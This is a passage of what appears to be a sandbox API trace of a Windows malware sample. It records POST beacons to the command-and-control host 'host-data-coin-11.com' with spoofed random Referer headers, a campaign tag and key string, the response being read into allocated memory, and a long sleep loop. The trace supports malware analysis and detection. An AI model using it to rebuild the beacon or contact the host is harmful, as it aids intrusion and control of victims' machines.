(pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x865ad00 [0152.791] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fcd0 | out: lpUrlComponents=0x1004fcd0) returned 1 [0152.791] WinHttpConnect (hSession=0x865ad00, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86aae60 [0152.791] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141c80 [0152.791] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9141ca0 [0152.791] WinHttpOpenRequest (hConnect=0x86aae60, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x57aa80 [0152.791] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x9141d10 [0152.791] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9141d70 [0152.791] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x64e2bf63 [0152.791] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141e90 [0152.791] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9141eb0 [0152.791] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xea8cc877 [0152.791] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf201340e [0152.791] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb8ea6b82 [0152.791] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf0af1e13 [0152.791] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3f6ca6da [0152.791] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5d50591c [0152.791] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4caa9a90 [0152.791] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1c95f007 [0152.791] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x68b03cc9 [0152.791] wsprintfW (in: param_1=0x9141d70, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://jpokfejl.org/") returned 42 [0152.791] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141eb0) returned 0x17 [0152.791] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141eb0) returned 1 [0152.792] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141e90) returned 0x12 [0152.792] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141e90) returned 1 [0152.792] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141d10) returned 0x4e [0152.793] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141d10) returned 1 [0152.793] WinHttpAddRequestHeaders (hRequest=0x57aa80, pwszHeaders="Accept: */*\r\nReferer: http://jpokfejl.org/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0152.793] WinHttpSendRequest (hRequest=0x57aa80, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x91419d0*, dwOptionalLength=0x170, dwTotalLength=0x170, dwContext=0x0) returned 1 [0153.548] WinHttpReceiveResponse (hRequest=0x57aa80, lpReserved=0x0) returned 1 [0153.548] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9141e90 [0153.548] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9141e90, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9141e90*, lpdwNumberOfBytesRead=0x1004fd88*=0x199) returned 1 [0153.549] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9141e90, Size=0x5000) returned 0x9141e90 [0153.549] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9142029, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9142029*, lpdwNumberOfBytesRead=0x1004fd88*=0x0) returned 1 [0153.549] VirtualAlloc (lpAddress=0x0, dwSize=0x199, flAllocationType=0x3000, flProtect=0x4) returned 0x440000 [0153.551] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141e90) returned 1 [0153.551] WinHttpCloseHandle (hInternet=0x57aa80) returned 1 [0153.551] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141d70) returned 0x10d [0153.551] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141d70) returned 1 [0153.551] WinHttpCloseHandle (hInternet=0x86aae60) returned 1 [0153.551] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141ca0) returned 0x68 [0153.552] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141ca0) returned 1 [0153.552] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141c80) returned 0x12 [0153.552] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141c80) returned 1 [0153.552] WinHttpCloseHandle (hInternet=0x865ad00) returned 1 [0153.552] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b60) returned 0x10c [0153.552] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b60) returned 1 [0153.552] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141890) returned 0x12a [0153.553] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141890) returned 1 [0153.553] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91419d0) returned 0x179 [0153.553] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91419d0) returned 1 [0153.553] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x97012708 [0153.553] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x7c) returned 0x9141890 [0153.553] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa50d52e8 [0153.553] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x588a90f9 [0153.553] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5f0f4e3b [0153.553] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcec3dc0f [0153.553] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7dd0fe15 [0153.553] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8ed912e4 [0153.553] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfbbead7b [0153.553] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3b2f8122 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbb771777 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7b223bc8 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x77568aad [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9a908f52 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe2b69cad [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdb9690c3 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x39f4d275 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb080d3c3 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x928eaf6f [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd1cc8faf [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4ec46fe3 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfc86488d [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdbf325aa [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdb87f479 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x44e179d9 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8ff14651 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd687855d [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2b656d5f [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcf676a19 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x57bb4731 [0153.554] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd126275d [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf613ffae [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd7e398fa [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x82874e96 [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfac64889 [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7154d612 [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x654bfb25 [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x75d5f8f5 [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x58ff003b [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6bb85c09 [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x85f844b1 [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9c181a88 [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4623d12e [0153.555] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcafe53ff [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x67453c45 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd9486e35 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x78e867a4 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7bb450c5 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xad541a78 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4d81b7be [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x75cd3b56 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x93d0d1af [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7955870f [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x332a3749 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeeee6e43 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x24134e18 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x77045fe1 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc9519e82 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9c19f48f [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc02cf0ef [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5e4445c7 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd37d3e80 [0153.556] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xed8e7c80 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x13847894 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaa86244e [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4c8d50da [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2211065b [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x33abba62 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4a6df41 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x59ecd24a [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa800cdae [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x991cf836 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe5339f87 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc5bbcd62 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd32de37b [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xde142be0 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1ebd1466 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa37f20a0 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x45653ff8 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x470b5080 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc836b055 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x371fdc03 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5b307b68 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1e9ba1d4 [0153.557] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xba460101 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa3839b9f [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3d23b604 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4d9612c2 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xea2addf4 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7f9b6264 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x72ca9007 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4770dd35 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f5ad8cb [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdc82e4ee [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe0f61f2e [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x90017f6b [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x37d75896 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfd1e200f [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb75d585c [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb766b74a [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa92c8f4a [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2857c379 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd5216efd [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc2461451 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbe2c0644 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x36653232 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc0602dcc [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc3819da0 [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf16c50ec [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x67bef6fe [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcb8ece3f [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb411aedb [0153.558] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5a0a151b [0153.559] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf8393858 [0153.559] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x743748d9 [0153.559] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5c53e830 [0153.559] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa7ad03d [0153.559] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xcb) returned 0x9141920 [0153.559] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0153.559] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0153.559] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0153.559] lstrcatA (in: lpString1="", lpString2="KpdrVqPkLwTyPB.&phxz9>@vb$r4RCCyjx2JK!>@2CX[u#R,hVs8!j:XmO/yqLYVWs3p-rkw_15DH'3B8-CE?nFDcs4=lE#gtHDe?KwSy\\Dj/:5," | out: lpString1="KpdrVqPkLwTyPB.&phxz9>@vb$r4RCCyjx2JK!>@2CX[u#R,hVs8!j:XmO/yqLYVWs3p-rkw_15DH'3B8-CE?nFDcs4=lE#gtHDe?KwSy\\Dj/:5,") returned="KpdrVqPkLwTyPB.&phxz9>@vb$r4RCCyjx2JK!>@2CX[u#R,hVs8!j:XmO/yqLYVWs3p-rkw_15DH'3B8-CE?nFDcs4=lE#gtHDe?KwSy\\Dj/:5," [0153.559] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x9141a00 [0153.559] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0153.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9141840, cbMultiByte=30, lpWideCharStr=0x9141a00, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0153.559] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fc18 | out: pProxyConfig=0x1004fc18) returned 1 [0153.577] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x86551a0 [0153.578] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fcd0 | out: lpUrlComponents=0x1004fcd0) returned 1 [0153.578] WinHttpConnect (hSession=0x86551a0, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86aae60 [0153.578] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141b20 [0153.578] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9141b40 [0153.578] WinHttpOpenRequest (hConnect=0x86aae60, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x57aa80 [0153.578] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x9141bb0 [0153.578] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9141c10 [0153.578] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9cc22b35 [0153.578] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141d30 [0153.578] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9141d50 [0153.578] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcb234abc [0153.579] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c4feebc [0153.579] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf8502642 [0153.579] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1f6a47ce [0153.579] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe9a11707 [0153.579] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6e0ee1fa [0153.579] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe7e97a98 [0153.579] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x78a8c92f [0153.579] wsprintfW (in: param_1=0x9141c10, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://nrttosv.net/") returned 41 [0153.579] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141d50) returned 0x17 [0153.579] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141d50) returned 1 [0153.579] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141d30) returned 0x12 [0153.579] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141d30) returned 1 [0153.579] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141bb0) returned 0x4e [0153.580] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141bb0) returned 1 [0153.580] WinHttpAddRequestHeaders (hRequest=0x57aa80, pwszHeaders="Accept: */*\r\nReferer: http://nrttosv.net/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0153.580] WinHttpSendRequest (hRequest=0x57aa80, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x9141920*, dwOptionalLength=0xc2, dwTotalLength=0xc2, dwContext=0x0) returned 1 [0154.507] WinHttpReceiveResponse (hRequest=0x57aa80, lpReserved=0x0) returned 1 [0154.507] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9141d30 [0154.507] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9141d30, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9141d30*, lpdwNumberOfBytesRead=0x1004fd88*=0x199) returned 1 [0154.507] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9141d30, Size=0x5000) returned 0x9141d30 [0154.508] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9141ec9, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9141ec9*, lpdwNumberOfBytesRead=0x1004fd88*=0x0) returned 1 [0154.508] VirtualAlloc (lpAddress=0x0, dwSize=0x199, flAllocationType=0x3000, flProtect=0x4) returned 0x450000 [0154.510] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141d30) returned 1 [0154.510] WinHttpCloseHandle (hInternet=0x57aa80) returned 1 [0154.510] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141c10) returned 0x10d [0154.510] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141c10) returned 1 [0154.510] WinHttpCloseHandle (hInternet=0x86aae60) returned 1 [0154.510] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b40) returned 0x68 [0154.511] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b40) returned 1 [0154.511] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b20) returned 0x12 [0154.511] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b20) returned 1 [0154.511] WinHttpCloseHandle (hInternet=0x86551a0) returned 1 [0154.511] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141a00) returned 0x10c [0154.511] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141a00) returned 1 [0154.512] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141890) returned 0x7c [0154.512] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141890) returned 1 [0154.512] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141920) returned 0xcb [0154.513] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141920) returned 1 [0154.513] VirtualFree (lpAddress=0x460000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0154.515] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x26 [0154.515] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0154.515] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0154.516] Sleep (dwMilliseconds=0x258) [0155.134] Sleep (dwMilliseconds=0x258) [0155.737] Sleep (dwMilliseconds=0x258) [0156.338] Sleep (dwMilliseconds=0x258) [0156.938] Sleep (dwMilliseconds=0x258) [0157.539] Sleep (dwMilliseconds=0x258) [0158.139] Sleep (dwMilliseconds=0x258) [0158.740] Sleep (dwMilliseconds=0x258) [0159.340] Sleep (dwMilliseconds=0x258) [0159.941] Sleep (dwMilliseconds=0x258) [0160.541] Sleep (dwMilliseconds=0x258) [0161.142] Sleep (dwMilliseconds=0x258) [0161.742] Sleep (dwMilliseconds=0x258) [0162.342] Sleep (dwMilliseconds=0x258) [0162.943] Sleep (dwMilliseconds=0x258) [0163.543] Sleep (dwMilliseconds=0x258) [0164.144] Sleep (dwMilliseconds=0x258) [0164.746] Sleep (dwMilliseconds=0x258) [0164.747] Sleep (dwMilliseconds=0x258) [0164.749] Sleep (dwMilliseconds=0x258) [0164.750] Sleep (dwMilliseconds=0x258) [0164.752] Sleep (dwMilliseconds=0x258) [0164.753] Sleep (dwMilliseconds=0x258) [0164.755] Sleep (dwMilliseconds=0x258) [0164.756] Sleep (dwMilliseconds=0x258) [0164.758] Sleep (dwMilliseconds=0x258) [0164.759] Sleep (dwMilliseconds=0x258) [0164.761] Sleep (dwMilliseconds=0x258) [0164.764] Sleep (dwMilliseconds=0x258) [0164.766] Sleep (dwMilliseconds=0x258) [0164.767] Sleep (dwMilliseconds=0x258) [0164.769] Sleep (dwMilliseconds=0x258) [0164.770] Sleep (dwMilliseconds=0x258) [0164.772] Sleep (dwMilliseconds=0x258) [0164.774] Sleep (dwMilliseconds=0x258) [0164.775] Sleep (dwMilliseconds=0x258) [0164.777] Sleep (dwMilliseconds=0x258) [0164.778] Sleep (dwMilliseconds=0x258) [0164.780] Sleep (dwMilliseconds=0x258) [0164.781] Sleep (dwMilliseconds=0x258) [0164.783] Sleep (dwMilliseconds=0x258) [0164.787] Sleep (dwMilliseconds=0x258) [0164.788] Sleep (dwMilliseconds=0x258) [0164.790] Sleep (dwMilliseconds=0x258) [0164.793] Sleep (dwMilliseconds=0x258) [0164.795] Sleep (dwMilliseconds=0x258) [0164.796] Sleep (dwMilliseconds=0x258) [0164.798] Sleep (dwMilliseconds=0x258) [0164.800] Sleep (dwMilliseconds=0x258) [0164.801] Sleep (dwMilliseconds=0x258) [0164.802] Sleep (dwMilliseconds=0x258) [0164.804] Sleep (dwMilliseconds=0x258) [0164.805] Sleep (dwMilliseconds=0x258) [0164.807] Sleep (dwMilliseconds=0x258) [0164.809] Sleep (dwMilliseconds=0x258) [0164.810] Sleep (dwMilliseconds=0x258) [0164.812] Sleep (dwMilliseconds=0x258) [0164.813] 